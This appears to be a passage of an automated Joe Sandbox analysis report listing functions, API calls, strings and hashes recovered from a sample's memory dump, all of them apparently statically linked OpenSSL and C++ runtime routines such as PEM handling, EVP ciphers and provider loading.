Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharMultiWide$EnvironmentVariable$freemalloc$getenv
String ID: OPENSSL_WIN32_UTF8$crypto\getenv.c
API String ID: 1599471619-38007710
Opcode ID: 23ea5b96873557bce82c23fd1c54e0b7e6feec6326c3ca7a6ac244693e4b4833
Instruction ID: ac66022b652b0f428d0ed5acbd19ea7858f12ac321612569954ab73d5c510ed0
Opcode Fuzzy Hash: 23ea5b96873557bce82c23fd1c54e0b7e6feec6326c3ca7a6ac244693e4b4833
Instruction Fuzzy Hash: 93614C71F4031DA6EF20DB94CC86F6E7BE5DB407A0F11823DF949A66D0DB7C98508689

Function 10148480 Relevance: 24.9, APIs: 6, Strings: 8, Instructions: 386COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10148584
__fprintf_l.LIBCMT ref: 101485CC
memmove.VCRUNTIME140(?,?,?), ref: 1014865D
__fprintf_l.LIBCMT ref: 101486B3
memset.VCRUNTIME140(?,00000000,00000400,00000009,0000006D,00000000,crypto\pem\pem_lib.c,0000003E,PEM_def_callback), ref: 101486C7
__fprintf_l.LIBCMT ref: 10148728

Strings

PEM_def_callback, xrefs: 1014869C
ENCRYPTED, xrefs: 101487D9
%02X, xrefs: 10148846
DEK-Info: %s,, xrefs: 1014881E
crypto\pem\pem_lib.c, xrefs: 10148574, 101485B9, 101485E5, 101486A3, 10148718, 1014894E
Proc-Type: 4,%s, xrefs: 101487DE
Enter PEM pass phrase:, xrefs: 10148671, 10148682
PEM_ASN1_write_bio, xrefs: 1014856A, 101485AF, 1014870E

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l$memmovememset
String ID: %02X$DEK-Info: %s,$ENCRYPTED$Enter PEM pass phrase:$PEM_ASN1_write_bio$PEM_def_callback$Proc-Type: 4,%s$crypto\pem\pem_lib.c
API String ID: 2006140342-3559348973
Opcode ID: 81196a2ce470051003c9dc0865ceb6cb998d0263a8c09074542ba4f0765ac788
Instruction ID: 9df4065d83438f95016565882acea034a04bbdf6d66f8432bcfcbaef83553529
Opcode Fuzzy Hash: 81196a2ce470051003c9dc0865ceb6cb998d0263a8c09074542ba4f0765ac788
Instruction Fuzzy Hash: D3D103B5508301ABD320DE649D42B9F77E8EF85244F51092CFE88E7242EB75E909C797

Function 10078B70 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 187stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(?,0000002E,00000000,00000000), ref: 10078BA7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000,?,?,?,?,?,?,?,00000000,00000000), ref: 10078C21
__fprintf_l.LIBCMT ref: 10078CE5

Part of subcall function 1007F980: __fprintf_l.LIBCMT ref: 1007F9B8

__fprintf_l.LIBCMT ref: 10078D5B
__fprintf_l.LIBCMT ref: 10078D8E

Part of subcall function 100677A0: GetLastError.KERNEL32(00000000,?,10078C46,?,?,?,?,?,?,?,00000000,00000000), ref: 100677AC
Part of subcall function 100677A0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,00000000), ref: 100677BA
Part of subcall function 100677A0: SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,00000000), ref: 100677C3

Strings

module_load_dso, xrefs: 10078D3D
module=%s, path=%s, xrefs: 10078D53
module_run, xrefs: 10078CC5, 10078D70
OPENSSL_finish, xrefs: 10078D10
module=%s, value=%s retcode=%-8d, xrefs: 10078CDC
OPENSSL_init, xrefs: 10078CF5
crypto\conf\conf_mod.c, xrefs: 10078CCF, 10078D47, 10078D7A
module=%s, xrefs: 10078D85
path, xrefs: 10078C55

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l$ErrorLast$Valuestrncmpstrrchr
String ID: OPENSSL_finish$OPENSSL_init$crypto\conf\conf_mod.c$module=%s$module=%s, path=%s$module=%s, value=%s retcode=%-8d$module_load_dso$module_run$path
API String ID: 799130471-2287471678
Opcode ID: 67c07564cb1095970dd927e8a7edfda6e9c386900971ad24f1420285d9f61095
Instruction ID: 90ecb3e78356e575e89334dddada2fe2500df8e7f7680241831fa0fc1aa7ec96
Opcode Fuzzy Hash: 67c07564cb1095970dd927e8a7edfda6e9c386900971ad24f1420285d9f61095
Instruction Fuzzy Hash: DF519BB99402057BD210DA349D42F9B36D8DF42698F014624F98CB2142FF69FE18C3BB

Function 10246E10 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 411COMMON

Download Yara Rule

APIs

setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000004,00000000), ref: 10246E69
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 10246E76
setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000004,102B8330,00000000), ref: 10246E91
setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000004,?,?,?,00000000), ref: 1024850B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000004,?,?,?,00000000), ref: 10248511
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,?,?,?,?,00000000), ref: 10248583

Strings

null, xrefs: 10247253, 10247275
NaN, xrefs: 102472CC, 102472E3

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: setlocale$free$_strdup
String ID: NaN$null
API String ID: 2709287076-1902676332
Opcode ID: 68a994df48b0224bc9a94f90f11c200c1bcb50d09083ce58888183ec7f3accbe
Instruction ID: 75595d81594824c33c2f7c53daf60113ae1d53cb8e8236c62aae5fd2fef0d2fb
Opcode Fuzzy Hash: 68a994df48b0224bc9a94f90f11c200c1bcb50d09083ce58888183ec7f3accbe
Instruction Fuzzy Hash: 73F1D074514242CFCB58CF18C880B9ABBA5FF46354F764589ED558B386C3B1E825CF82

Function 100511D0 Relevance: 23.0, APIs: 1, Strings: 12, Instructions: 275COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1005182E

Strings

tlsivfixed, xrefs: 10051401
tlsaad, xrefs: 100514A5
ivlen, xrefs: 100513AD
keybits, xrefs: 1005152C
tlsivgen, xrefs: 10051417
randkey, xrefs: 1005135D
rounds, xrefs: 1005144C
EVP_CIPHER_CTX_ctrl, xrefs: 100512CA, 100517EF, 10051811
tag, xrefs: 1005148C
keylen, xrefs: 10051336
crypto\evp\evp_enc.c, xrefs: 100512D4, 100517F9, 1005181B
tlsaadpad, xrefs: 100514E5

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: EVP_CIPHER_CTX_ctrl$crypto\evp\evp_enc.c$ivlen$keybits$keylen$randkey$rounds$tag$tlsaad$tlsaadpad$tlsivfixed$tlsivgen
API String ID: 3906573944-88550702
Opcode ID: 60b80c3f858709e54a4d6f8e835240e8d332490a8a618073c4328be719912fb2
Instruction ID: 0320c0bbe3bdff1ebdaab972e464e93ffa81d5bb0a30fd88d5fea64fc74d3590
Opcode Fuzzy Hash: 60b80c3f858709e54a4d6f8e835240e8d332490a8a618073c4328be719912fb2
Instruction Fuzzy Hash: 45A17C75908340AFE310CF68DC85BABB7E8FF89314F104A2DF59986252EB75A548CB52

Function 10057BB0 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 224registryfileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,?,?,?,1004B3FD,10057A76,%s:%d: OpenSSL internal error: %s,00000000,00000000,00000000,10053B52,assertion failed: ctx->cipher->block_size == 1 || ctx->cipher->block_size == 8 || ctx->cipher->block_size == 16,crypto\evp\evp_enc.c,0000017E), ref: 10057BCC
GetFileType.KERNEL32(00000000,?,?,?,?,1005237D,00000000,00000000,00000000,00000000,00000000,00000000,00000000,1004B3FD,00000000,00000000), ref: 10057BD9
__stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,00000200,00000000,00000000,00000000,?,?,?,?,1005237D,00000000,00000000,00000000,00000000), ref: 10057C06
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,00000000,1004B3FD,00000000,00000000,00000000,00000000,00000000,?), ref: 10057C32
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000002,?,00000002,?,?,?,?,1005237D,00000000,00000000,00000000,00000000,00000000), ref: 10057C71
__stdio_common_vswprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,000000FF,?,00000000,00000000,?,00000002,?,?,?,?,1005237D,00000000,00000000), ref: 10057DE0
RegisterEventSourceW.ADVAPI32(00000000,OpenSSL), ref: 10057DFE
ReportEventW.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 10057E2C
DeregisterEventSource.ADVAPI32(00000000), ref: 10057E33

Strings

no stack?, xrefs: 10057C5D
OpenSSL: FATAL, xrefs: 10057E3D
OpenSSL, xrefs: 10057DF7

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Event$FileSource$ByteCharDeregisterHandleMultiRegisterReportTypeWideWrite__stdio_common_vsprintf__stdio_common_vswprintf
String ID: OpenSSL$OpenSSL: FATAL$no stack?
API String ID: 2603057392-278800372
Opcode ID: 0549c6e0ebe0e4384c610379d12ebee34949447fd683fb19fbbaa6f6acc6abd9
Instruction ID: 2ec5acf42579b9b78f5cc400c9d1516f72af6346a301aeccf1ece7c012f82d39
Opcode Fuzzy Hash: 0549c6e0ebe0e4384c610379d12ebee34949447fd683fb19fbbaa6f6acc6abd9
Instruction Fuzzy Hash: 6C810731910316DBDF20CF24CC98BAE7775FF85750F114299F919AB191FB31A9849B60

Function 10149070 Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 355stringCOMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 101490D9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,-----BEGIN ,0000000B,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 101491AD
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(-00000006,-----,00000006), ref: 101491CB
memmove.VCRUNTIME140(00000000,0000000B,-00000010), ref: 1014920B

Strings

PEM_read_bio_ex, xrefs: 101490BD, 101492DE, 1014948E, 101494B9
-----, xrefs: 101491C5
crypto\pem\pem_lib.c, xrefs: 101490C7, 10149140, 101491E6, 1014922C, 1014924F, 101492E8, 10149321, 101493B0, 101493C8, 1014944E, 1014946C, 10149498, 101494C3
-----BEGIN , xrefs: 101491A1
get_name, xrefs: 10149222

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: strncmp$__fprintf_lmemmove
String ID: -----$-----BEGIN $PEM_read_bio_ex$crypto\pem\pem_lib.c$get_name
API String ID: 1415039459-2402414792
Opcode ID: 62d5ca2332261485e819b686ee8b83f509280aacda0df4de10e810192d69b02b
Instruction ID: 0c8ee196ff497083f70a5b59f8c0605fdbf9e18df623091a4a637d4f1066b85b
Opcode Fuzzy Hash: 62d5ca2332261485e819b686ee8b83f509280aacda0df4de10e810192d69b02b
Instruction Fuzzy Hash: 43C1F175608301AFD300DF65DD42F5BB7E9EF89704F110918FA84AB292E7B9BA058763

Function 1004E9B2 Relevance: 21.3, APIs: 14, Instructions: 268COMMON

Download Yara Rule

APIs

?width@ios_base@std@@QBE_JXZ.MSVCP140(C86DC458), ref: 1004EA30
?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA61
?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA96
?flags@ios_base@std@@QBEHXZ.MSVCP140(1004C26B), ref: 1004EAFE
?rdbuf@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBEPAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@XZ.MSVCP140 ref: 1004EB47
?fill@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBE_WXZ.MSVCP140 ref: 1004EB5B
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?), ref: 1004EB6B
?rdbuf@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBEPAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@XZ.MSVCP140 ref: 1004EBD6
?sputn@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAE_JPB_W_J@Z.MSVCP140(?,?,?), ref: 1004EBEB
?rdbuf@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBEPAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@XZ.MSVCP140 ref: 1004EC5B
?fill@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBE_WXZ.MSVCP140 ref: 1004EC6F
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?), ref: 1004EC7F
?width@ios_base@std@@QAE_J_J@Z.MSVCP140(00000000,00000000), ref: 1004ECEE
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000), ref: 1004ED39

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: U?$char_traits@_$W@std@@@std@@$?width@ios_base@std@@$?rdbuf@?$basic_ios@_V?$basic_streambuf@_W@std@@@2@$?fill@?$basic_ios@_?sputc@?$basic_streambuf@_$?flags@ios_base@std@@?setstate@?$basic_ios@_?sputn@?$basic_streambuf@_
String ID:
API String ID: 2190125631-0
Opcode ID: 20179e33efb753dcc20f5adb1cab53b7b60c6fb7333b819a9d11980dfc849f66
Instruction ID: ff31220659a80afcffc1c00e4c5a4c0622d961e065230db8226f815fc1c4ec35
Opcode Fuzzy Hash: 20179e33efb753dcc20f5adb1cab53b7b60c6fb7333b819a9d11980dfc849f66
Instruction Fuzzy Hash: 7DD1B234D04299DFDB14CFA8C998BADBBB1FF08344F208069E845AB251D734AE85DF55

Function 1004F445 Relevance: 21.2, APIs: 14, Instructions: 226COMMON

Download Yara Rule

APIs

?width@ios_base@std@@QBE_JXZ.MSVCP140(C86DC458), ref: 1004F480
?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004F4A5
?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004F4C1
?flags@ios_base@std@@QBEHXZ.MSVCP140(?), ref: 1004F507
?rdbuf@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBEPAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@XZ.MSVCP140 ref: 1004F539
?fill@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBE_WXZ.MSVCP140 ref: 1004F54D
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?), ref: 1004F55D
?rdbuf@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBEPAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@XZ.MSVCP140 ref: 1004F5C8
?sputn@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAE_JPB_W_J@Z.MSVCP140(?,1004ED9C,00000000), ref: 1004F5DE
?rdbuf@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBEPAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@XZ.MSVCP140 ref: 1004F631
?fill@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBE_WXZ.MSVCP140 ref: 1004F645
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?), ref: 1004F655
?width@ios_base@std@@QAE_J_J@Z.MSVCP140(00000000,00000000), ref: 1004F6C4
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000), ref: 1004F70F

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: U?$char_traits@_$W@std@@@std@@$?width@ios_base@std@@$?rdbuf@?$basic_ios@_V?$basic_streambuf@_W@std@@@2@$?fill@?$basic_ios@_?sputc@?$basic_streambuf@_$?flags@ios_base@std@@?setstate@?$basic_ios@_?sputn@?$basic_streambuf@_
String ID:
API String ID: 2190125631-0
Opcode ID: 27402a6c7d01cfb463d76aea4fd445d8cbac2009676ca05edb424f0590a9159d
Instruction ID: 3da1a2e30c5b71bc80353a95f5513c6023e00f4871f0b0cc8dca461cb23200a2
Opcode Fuzzy Hash: 27402a6c7d01cfb463d76aea4fd445d8cbac2009676ca05edb424f0590a9159d
Instruction Fuzzy Hash: 9EB1D474900249DFDB14CFA8C998AEDBBB1FF48355F208069E916EB361D734A940DF58

Function 10294460 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 172libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll,RtlVerifyVersionInfo), ref: 1029448E
GetProcAddress.KERNEL32(00000000), ref: 10294495
memset.VCRUNTIME140(?,00000000,0000010C,00000000), ref: 102944FC
VerSetConditionMask.KERNEL32(00000000,00000000,00000002,?), ref: 10294561
VerSetConditionMask.KERNEL32(00000000,?,00000001,?), ref: 1029456B
VerSetConditionMask.KERNEL32(00000000,?,00000010,?,?,00000020,?,?,00000001,?), ref: 10294588
VerSetConditionMask.KERNEL32(00000000,?,00000008,00000001,?,00000010,?,?,00000020,?,?,00000001,?), ref: 10294594
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 102945BC
VerifyVersionInfoW.KERNEL32(?,00000004,00000000), ref: 10294649

Strings

D?w, xrefs: 1029449B, 1029459B, 10294614
RtlVerifyVersionInfo, xrefs: 10294484
ntdll, xrefs: 10294489

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersion$AddressHandleModuleProcmemset
String ID: D?w$RtlVerifyVersionInfo$ntdll
API String ID: 2720349688-3637026075
Opcode ID: 4a41f9a75862da2f40897367249ddbc67ff133df89cf45c568dd8cfc068dbfe1
Instruction ID: 026067991328a0474be287a845539a9291c27e6caa6dfdcda64fc302259a1504
Opcode Fuzzy Hash: 4a41f9a75862da2f40897367249ddbc67ff133df89cf45c568dd8cfc068dbfe1
Instruction Fuzzy Hash: EB51F3B1608365EFE720CB64CC85FAB7BD8EBCA344F04441EF58897290CE75A814CB52

Function 10052390 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 318COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100523DF
__fprintf_l.LIBCMT ref: 10052416
__fprintf_l.LIBCMT ref: 100526FD

Strings

assertion failed: b <= sizeof(ctx->final), xrefs: 1005250A
EVP_DecryptUpdate, xrefs: 100523C2, 100523FA, 10052482, 10052552, 100525AA, 10052695, 100526AE, 100526E0
crypto\evp\evp_enc.c, xrefs: 100523CC, 10052404, 10052505, 1005255C, 100525B4, 100526B8, 100526EA

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: EVP_DecryptUpdate$assertion failed: b <= sizeof(ctx->final)$crypto\evp\evp_enc.c
API String ID: 3906573944-1798721546
Opcode ID: 95a7044ad89071d2cdbf4825526b9a98a26ffc531f70ef3ecc3fb7c09a766879
Instruction ID: bdabccaa8e2056fe076904c3cb050f45b35d79d3a4e5d1a67d2b93a1f81137bc
Opcode Fuzzy Hash: 95a7044ad89071d2cdbf4825526b9a98a26ffc531f70ef3ecc3fb7c09a766879
Instruction Fuzzy Hash: 24913C76744301ABE700DA24EC82F6B73D8FF81365F200929FA4A955C2EF72F518D666

Function 10060940 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 299COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10060988

Strings

OPENSSL_MODULES, xrefs: 10060A24
name=%s, provider has no provider init function, xrefs: 10060B51
crypto\provider_core.c, xrefs: 10060976, 100609F8, 10060AAC, 10060ABC, 10060ACF, 10060AF5, 10060B44, 10060B98, 10060C77
OSSL_provider_init, xrefs: 10060B20
D:\FilePath\src\vcpkg\packages\openssl_x86-windows-static\bin, xrefs: 10060A39
provider_init, xrefs: 1006096C, 10060AEB, 10060B3A, 10060B8E
name=%s, xrefs: 10060B02, 10060BA5

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: D:\FilePath\src\vcpkg\packages\openssl_x86-windows-static\bin$OPENSSL_MODULES$OSSL_provider_init$crypto\provider_core.c$name=%s$name=%s, provider has no provider init function$provider_init
API String ID: 3906573944-2934756048
Opcode ID: b86fb66326600fe42300449e75f3b24b82bb4c811aed712d1d8b868b2db3bafc
Instruction ID: c7907e0b474a389c0c913a856d40990056283d18a898ecb3add775151a2fa80d
Opcode Fuzzy Hash: b86fb66326600fe42300449e75f3b24b82bb4c811aed712d1d8b868b2db3bafc
Instruction Fuzzy Hash: B6A103786803026FD320DFA4ED81B1B77F2EF01658F004A3CF98A96642E776F9159B52

Function 101653F0 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 296COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1016542B
__fprintf_l.LIBCMT ref: 1016549E

Strings

maybe wrong password, xrefs: 10165669
crypto\pkcs12\p12_decr.c, xrefs: 10165419, 1016548B, 10165514, 1016554A, 10165563, 101655A4, 101655F8, 10165642, 1016565B, 101656D6, 101656EF
PKCS12_pbe_crypt_ex, xrefs: 10165412, 10165484, 101654F1, 1016555C, 1016559D, 101655F1, 10165654, 101656E8
empty password, xrefs: 1016566E, 10165676

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: PKCS12_pbe_crypt_ex$crypto\pkcs12\p12_decr.c$empty password$maybe wrong password
API String ID: 3906573944-1923314313
Opcode ID: cc733c5edf943734cc612c6c1f5317a411bfb8eaa374fef01925410374e6d1c3
Instruction ID: 5e15cf4e4ac5eaa192bf9f466a243b5ed4572f4f1d0f86f0775f39de073d56af
Opcode Fuzzy Hash: cc733c5edf943734cc612c6c1f5317a411bfb8eaa374fef01925410374e6d1c3
Instruction Fuzzy Hash: 11814D7EB403053AE611E668BC43FFF3668FF44A85F840024FA4899183FA55B95D92B7

Function 10271F60 Relevance: 18.1, APIs: 12, Instructions: 102COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,000000FF,00000000,00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?), ref: 10271F80
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 10271F90
